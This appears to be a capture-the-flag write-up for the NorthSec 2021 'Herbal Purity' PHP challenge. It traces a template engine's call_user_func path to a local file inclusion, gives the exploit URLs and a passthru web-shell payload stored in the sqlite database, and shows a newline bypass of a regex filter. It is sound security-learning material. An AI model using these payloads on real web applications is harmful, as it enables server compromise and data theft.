NSEC21 Herbal Purity (3/3) - Wed, May 26, 2021 - Jean Privat Sideni
Clean Your Body and Your PHP Code | Web Php | Nsec21
The previous flag is in part 2
How Much Greater Riches Will Their File Inclusion Bring!
There should be a way to pwn the server. Lets check if there is some existing code execution we can leverage.
In include/Template.php
there is two uses of call_user_func
and an indirect function invocation $var['$obj']->{$var['$method']}()
:
public function render() {
foreach($this->tokens as $token) {
if(isset($token['$var'])) {
$var = $this->scope->{$token['$var']};
if(is_string($var)) {
$token = $var;
}
if(isset($var['$obj']) && isset($var['$method']) && is_object($var['$obj']) && is_string($var['$method'])) {
$var['$obj']->{$var['$method']}();
continue;
}
if(isset($var['$func'])) {
$args = isset($var['$args']) ? $var['$args'] : [];
if($var['$func'] instanceof Closure) {
call_user_func($var['$func']);
} else {
call_user_func(['Utils', $var['$func']], $args);
}
continue;
}
}
if(is_string($token)) {
echo $token;
}
}
}
Either we can control $var['$func']
to be a closure, and just make the templating engine call it.
Or use the more mysterious second path.
According to the php documentation, the first argument of call_user_func
must be a callable.
And a callable can be many things; among them, if the callable is a simple array, then it is a static class method call.
So call_user_func(['Utils', 'foo'], 'bar');
will call Utils::foo('bar')
.
Let’s have a look at include/Utils.php
:
public static function include_file(string $file) {
if(Utils::validate_pattern($file, '\.php$')) {
include $file;
Oh. include_file
seems a good candidate for some local file inclusion.
There is some kind of filtering but it’s a problem for our future selves.
And Lead Us Not Into Templating, But Deliver Us From The Evil One
Let’s dig more to understand if, and how, we can control both $var['$func']
and $args
.
$args
is simple, we need to control $var
as written a few line above:
$args = isset($var['$args']) ? $var['$args'] : [];
What about $var
? Same it is some lines above.
if(isset($token['$var'])) {
$var = $this->scope->{$token['$var']};
Note the ->{expr}
syntax, it is some kind of interpolation: php evaluates the expression then tries to access the field. Basically x->{'f'.'oo'}
is the same as x->foo
.
So $var
is the value of the field named $token['$var']
of some object $this->scope
.
This feels like unrolling some kind of spaghetti dish.
But The Prince of the Parser Kingdom Resisted me Twenty-One Days
Lets start with $this->token
.
It is an array initialized with []
in the constructor, then filled in the Template::parse
method.
In order to understand, lets look at a template file, include/templates/reset.template
for instance:
Are you sure you want the reset the password of {{ $username }}?
<form action="?">
<input name="name" type="hidden" value="{{ $username }}"/>
<input name="id" type="hidden" value="{{ $model_id }}"/>
<input name="action" type="submit" value="Confirm"/>
</form>
A template is just a plain text file with placeholders {{ $foo }}
.
The Template::parse
method takes the text of the template, searches for the placeholders, and fills the $this->tokens
array:
- with a string when the token is the text outside
{{...}}
- with an array when the token is a placeholder
{{...}}
For instance, in this last case, for {{ $model_id }}
the array is the (unnecessary complex) value [ '$var' => 'model_id' ]
.
while(($index = strpos($template, "{{", $offset)) !== false) {
$this->tokens[] = substr($template, $offset, $index - $offset);
$end_pos = strpos($template, "}}", $index);
$content = trim(substr($template, $index + 2, $end_pos - $index - 2));
if($content[0] == '$') {
$this->tokens[] = [ '$var' => substr($content, 1) ];
}
$offset = $end_pos + 2;
}
The Harvest is the End of The Page, and The Harvesters Are Angels
The object $this->scope
now.
After more spaghetti unrolling in the code, this is simply the current Page
object.
For instance, reset_healers.php
is the following:
<?php
include "include/init.php";
$page = new ResetPage();
$page->admin = true;
$page->id = "healers";
$page->t = $page->newTemplate("reset");
$page->title = "Healers";
$page->model = new Healers();
$page->model_id = Utils::param('id');
$page->username = Utils::param('name');
$page->backUrl = "healers.php";
So on this page, $this->scope
is just $page
, and, for instance, $this->scope->title
is 'Healers'
.
But what, $this->scope->model_id
is?
Simply the content of the id
parameter of the HTTP request.
You Will Hear of $var And Rumors of $var, But See To It That You Are Not Alarmed
Let’s wrap things up a little
The page reset_healers.php
sets some variables up and use the template reset
.
In the template reset.template
, we have <input name="id" type="hidden" value="{{ $model_id }}"/>
.
So, after the parsing, field $this->tokens
is an array that contains the token [ '$var' => 'model_id' ]
.
So, when rendering this token, what is the meaning of the line $var = $this->scope->{$token['$var']}
:
$token
is['$var' => 'model_id']
as stated just above.$token['$var']
is therefore'model_id'
.$this->scope
is$page
(fromreset_healers.php
)$var
is$this->scope->{$token['$var']}
, that is$this->scope->model_id
, that isUtils::param('id')
, that we control since it is a parameter from the HTTP request!
But, let’s look back at the render
function.
The behaviour of the template changes according to the type of $var
:
- If it is a string, then write it in the HTML.
- If it is an array where
$obj
is an object and$method
is a string then invoke the method on the object. In fact this path had potential, but we did not figure a way to inject an object. - If it is an array where
$func
is a closure, then invoke the closure. We did not found a way to inject a closure either. - If it is an array where
$func
is a string, then invoke a static method ofUtils
. This one is the one we targeted, because of the nice methodUtils::include_file
and because injecting a string can be easier.
$var
is Utils::param('id')
, so a parameter of the HTTP request, so usually a string.
But, can we make $var
an array?
Yes, simply reuse the PHP feature to pass arrays as HTTP parameters with the foo[bar]=baz
syntax we saw in part 2 (for the search queries).
So, $var
can have the value ['$func'=>'include_file', '$args'=>'path/to/include']
if we use on the page reset_healers.php
the following URL:
http://herbal-purity.ctf/reset_healers.php?id[$func]=include_file&id[$args]=path/to/include
Note: do not forget the $
, they are part of the name of the keys not the character of php variables
When He Passes Me, I Cannot See Him; When He Hoes By, I Cannot Perceive Him
That was a very convoluted path, but we can do file inclusion now!
Except we can’t leverage it (yet):
- There is no php file worth including.
- There is no way to upload or update some file to include.
In fact, the only thing we can update is the sqlite3 database…
…
Let’s inlude the sqlite3 database!
When including a file, php just outputs things verbatim, even garbage, until it reaches the end of file or a <?php
tag. When it is a <?php
tag then the text that follows is interpreted as php code.
So, we updated the database to add some useful value like <?php passthru($_REQUEST['cmd']); ?>
that will be stored somewere in the file ../db.sqlite
(sqlite3 do not seems to perform any kind of compression or encoding).
Thus, we performed our magic query: id[$func]=include_file&id[$args]=../db.sqlite3&cmd=cat+/secret
.
But all we got was Cannot include file
.
Avoid It, Do Not Travel On It; Turn From It and Go on Your Way.
Oh! The filtering, we did almost forget it.
Let’s have a better look at include/Utils.php
:
public static function include_file(string $file) {
if(Utils::validate_pattern($file, '\.php$')) {
include $file;
} else {
echo 'Cannot include file';
}
}
public static function validate_pattern($string, $pattern, $f='m') {
return preg_match('/'.$pattern.'/'.$f,$string) === 1;
So, the path of the file to include must match something. We need to unroll spaghetti again.
$pattern
is'\.php$'
$f
is'm'
by default- therefore,
preg_match('/'.$pattern.'/'.$f,$string)
ispreg_match('/\.php$/m',$string)
What is the regex modifier /m
?
By default, PCRE treats the subject string as consisting of a single “line” of characters (even if it actually contains several newlines). The “start of line” metacharacter (^) matches only at the start of the string, while the “end of line” metacharacter ($) matches only at the end of the string, or before a terminating newline (unless D modifier is set). This is the same as Perl. When this modifier is set, the “start of line” and “end of line” constructs match immediately following or immediately before any newline in the subject string, respectively, as well as at the very start and end. This is equivalent to Perl’s /m modifier. If there are no “\n” characters in a subject string, or no occurrences of ^ or $ in a pattern, setting this modifier has no effect.
This means that, thanks to /m
, .php
can be inside the path if it is followed by a newline character.
For instance .php%0A/foo.bar
matches the pattern.
But .php%0A/../../db.sqlite
also matches the pattern!
We can now get the last flag, the precious, precious secret!
id[$func]=include_file&id[$args]=.php%0A/../../db.sqlite3&cmd=cat+/secret
.
Acknowledgements
A lot of people that participated into the resolution of the challenge since there was a lot of small tricks that needed either specific piece of knowledge, the capability to look for documentation, or to support their teammates. A special thank to Klam, Mathieu and Fob.